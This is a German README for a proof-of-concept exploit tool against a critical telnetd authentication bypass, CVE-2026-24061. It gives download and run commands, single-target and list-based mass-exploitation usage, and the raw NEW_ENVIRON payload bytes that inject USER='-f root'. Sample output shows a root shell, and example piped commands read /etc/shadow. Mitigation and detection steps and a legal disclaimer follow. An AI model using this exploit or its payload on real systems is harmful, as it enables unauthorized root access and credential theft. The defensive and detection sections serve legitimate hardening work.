
Proof of Concept: CVE-2026-24061 ist eine kritische Authentifizierungs-Bypass-Schwachstelle in GNU inetutils-telnetd, die es nicht authentifizierten Remote-Angreifern ermöglicht, sofortigen Root-Shell-Zugriff über bösartige NEW_ENVIRON-Telnet-Optionsausnutzung zu erhalten.
Ein Sicherheitsforschungstool zur Ausnutzung von CVE-2026-24061, einer kritischen Remote-Authentifizierungsumgehungsschwachstelle in GNU inetutils-telnetd, die sofortigen Root-Shell-Zugriff ohne Authentifizierung ermöglicht.
| Feld | Wert |
|---|---|
| CVE-Kennung | CVE-2026-24061 |
| CVSS v3.1 Score | 9.8 (Kritisch) |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE-Klassifizierung | CWE-88: Unzureichende Neutralisierung von Argumenttrennzeichen in einem Befehl |
| Anbieter | GNU-Projekt |
| Produkt | inetutils-telnetd |
| Offenlegungsdatum | 20. Januar 2026 |
| Patch verfügbar | TBD |
Eine kritische Schwachstelle in GNU inetutils-telnetd bis Version 2.7 ermöglicht es nicht authentifizierten entfernten Angreifern, die Authentifizierung vollständig zu umgehen und sofortigen Root-Shell-Zugriff zu erlangen. Die Schwachstelle wird über die Telnet-Option NEW_ENVIRON ausgenutzt, indem eine speziell präparierte Umgebungsvariable USER mit dem Wert "-f root" injiziert wird, die alle Authentifizierungsmechanismen umgeht.
| Versionsbereich | Status |
|---|---|
| <= 2.7 | Anfällig |
| > 2.7 | Patch-Status TBD |
Die Schwachstelle entsteht durch eine unsachgemäße Validierung der Umgebungsvariablen USER im Handler der Telnet-Option NEW_ENVIRON. Bei der Verarbeitung der Telnet-Option NEW_ENVIRON versäumt der Telnetd-Dienst es, den Wert der USER-Variablen zu bereinigen, bevor er an den Login-Prozess übergeben wird. Indem der Angreifer USER auf "-f root" setzt, injiziert er Befehlszeilenargumente, die die Authentifizierung für den Root-Benutzer ohne Angabe von Anmeldeinformationen erzwingen.
Alle Abhängigkeiten sind Teil der Python-Standardbibliothek:
# Repository klonen
git clone https://github.com/sh4den/CVE-2026-24061.git
cd CVE-2026-24061
# Exploit ausführen
python3 main.py -u <ziel_ip>
# Exploit herunterladen
curl -O https://raw.githubusercontent.com/sh4den/CVE-2026-24061/main/main.py
# Ausführbar machen (Linux/macOS)
chmod +x main.py
# Exploit ausführen
python3 main.py -u <ziel_ip>
# Sicherstellen, dass Python 3.7+ installiert ist
python3 --version
# Herunterladen und ausführen
python3 main.py -u <ziel_ip>
Verwendung:
python3 main.py -u <ziel_ip> [-p <port>] [-usr <benutzer>]
python3 main.py -l <ziele_datei> [-p <port>] [-usr <benutzer>]
echo "befehle" | python3 main.py -u <ziel_ip>
Argumente:
-u Einzelne Ziel-IP-Adresse oder Hostname
-l Pfad zu einer Datei mit Ziel-IPs (eine pro Zeile)
-p Zielport (Standard: 23)
-usr Benutzer, für den der Exploit ausgeführt wird (Standard: root)
Ausnutzung einer einzelnen Telnetd-Instanz:
# Basis-Ausnutzung (Standardport 23, Benutzer root)
python3 main.py -u 192.168.1.100
# Benutzerdefinierter Port
python3 main.py -u 192.168.1.100 -p 2323
# Anderer Benutzer
python3 main.py -u 192.168.1.100 -usr admin
Befehle nicht-interaktiv ausführen:
# Einzelner Befehl
echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100
# Mehrere Befehle
echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100
# Befehl mit Ausgabeumleitung
echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100
Mehrere Ziele aus einer Datei ausnutzen:
python3 main.py -l targets.txt
python3 main.py -l targets.txt -p 2323
python3 main.py -l targets.txt -usr admin
Zieldateiformat (targets.txt):
192.168.1.100
192.168.1.101
10.0.0.50
172.16.0.25
telnet.example.com
Hinweise:
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass ║
║ ║
║ CVSS Score: 9.8 (Critical) ║
║ Impact: Remote Authentication Bypass - Instant Root Shell ║
║ ║
║ This tool is part of the HGrab Framework. ║
╚═══════════════════════════════════════════════════════════════╝
[2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root
[2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23
[2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root'
[2026-01-23 14:32:15] [INFO] Interactive mode - type commands
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
Der Exploit nutzt die Aushandlungsphase des Telnet-Protokolls:
# Telnet IAC (Interpret As Command) = 255
# SB (Subnegotiation Begin) = 250
# SE (Subnegotiation End) = 240
# NEW_ENVIRON option = 39
payload = bytes([
255, # IAC
250, # SB
39, # NEW_ENVIRON
0, # IS
0, # VAR
]) + b"USER" + bytes([1]) + b"-f root" + bytes([
255, # IAC
240 # SE
])
select.select() für die gleichzeitige Überwachung von Socket und stdintelnetd deaktivieren: Telnetd-Dienst sofort stoppen und deaktivieren
# systemd-basierte Systeme
sudo systemctl stop telnetd
sudo systemctl disable telnetd
# xinetd-basierte Systeme
sudo service xinetd stop
sudo chkconfig telnet off
Firewall-Regeln: Telnet-Port (23) auf Firewall-Ebene blockieren
# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
# firewalld
sudo firewall-cmd --permanent --remove-service=telnet
sudo firewall-cmd --reload
Netzwerkisolation: Telnet-Dienst von internetfähigen Systemen entfernen
SSH anstelle von Telnet verwenden:
# OpenSSH-Server installieren
sudo apt-get install openssh-server # Debian/Ubuntu
sudo yum install openssh-server # RHEL/CentOS
# SSH aktivieren und starten
sudo systemctl enable sshd
sudo systemctl start sshd
# Überprüfen, ob telnetd nicht läuft
sudo netstat -tlnp | grep :23
sudo ss -tlnp | grep :23
# Sollte keine Ergebnisse liefern, wenn ordnungsgemäß deaktiviert
Systemprotokolle auf folgende Muster überprüfen:
Authentifizierungsprotokolle:
# Nach ungewöhnlichen Anmeldemustern suchen
sudo grep telnetd /var/log/auth.log
sudo grep telnetd /var/log/secure
# Nach verdächtigen USER-Umgebungsvariablen suchen
sudo grep "USER.*-f" /var/log/auth.log
Netzwerkprotokolle:
# Nach aktiven Telnet-Verbindungen suchen
sudo netstat -antp | grep :23
# Aktuelle Root-Anmeldungen überprüfen
sudo last | grep root
# Nach modifizierten Systemdateien suchen
sudo rpm -Va # RHEL/CentOS
sudo debsums -c # Debian/Ubuntu
# Prozesse nach root auflisten
sudo ps aux | grep root
# Nach nicht autorisierten SSH-Schlüsseln suchen
sudo cat /root/.ssh/authorized_keys
WICHTIG: VOR VERWENDUNG LESEN
Dieses Tool wird streng bereitgestellt für:
Verbotene Verwendungen:
Haftung: Die Autoren, Mitwirkenden und Verteiler dieser Software übernehmen KEINE Verantwortung oder Haftung für Missbrauch, Schäden oder illegale Aktivitäten, die mit diesem Tool durchgeführt werden. Die Benutzer sind allein verantwortlich für:
Rechtlicher Hinweis: Nicht autorisierter Zugriff auf Computersysteme ist eine schwere Straftat. Verstöße können strafrechtlich verfolgt werden gemäß:
Strafen können Freiheitsstrafen, erhebliche Geldstrafen und zivilrechtliche Haftung umfassen.
Durch die Nutzung dieses Tools bestätigen Sie, dass Sie diesen Haftungsausschluss und alle geltenden Gesetze gelesen, verstanden haben und sich damit einverstanden erklären.
| Version | Datum | Änderungen |
|---|---|---|
| 1.0.0 | 2026-01-23 | Erstveröffentlichung |
Bei Fragen, Problemen oder Beiträgen:
Dieses Projekt wird für autorisierte Sicherheitsforschung und Bildungszwecke nur im Ist-Zustand bereitgestellt. Es wird keine Garantie, weder ausdrücklich noch stillschweigend, übernommen. Nutzung auf eigenes Risiko und in Übereinstimmung mit allen geltenden Gesetzen und Vorschriften.
NUR MIT ORDNUNGSGEMÄSSER AUTORISIERUNG VERWENDEN
| Paket | Zweck |
|---|
| socket | Netzwerkkommunikation |
| select | I/O-Multiplexing |
| sys | Systeminteraktion |
| os | Betriebssystemschnittstelle |
| threading | Gleichzeitige Zielausnutzung |
| datetime | Zeitstempelformatierung |
| Indikator | Farbe | Beschreibung |
|---|
[SUCCESS] | Grün | Erfolgreich mit Ziel verbunden |
[EXPLOIT] | Grün | Ausnutzungs-Payload erfolgreich gesendet |
[INFO] | Blau | Informationsmeldung über aktuellen Vorgang |
[ERROR] | Rot | Verbindungsfehler, Zeitüberschreitung oder Ausnutzungsfehler |
[WARNING] | Gelb | Warnmeldung (derzeit nicht verwendet) |
| Aktion | Priorität | Beschreibung |
|---|
| SSH-Migration | Kritisch | Telnet durch SSH für Remote-Zugriff ersetzen |
| Patch-Management | Kritisch | Sicherheitsupdates überwachen und anwenden |
| Dienst-Audit | Hoch | Nicht benötigte Netzwerkdienste identifizieren und deaktivieren |
| Netzwerksegmentierung | Hoch | Kritische Systeme von öffentlichen Netzwerken isolieren |
| Eindringungserkennung | Mittel | IDS/IPS zur Erkennung von Ausnutzungsversuchen bereitstellen |
| Zugriffskontrolle | Mittel | IP-Whitelisting für Remote-Dienste implementieren |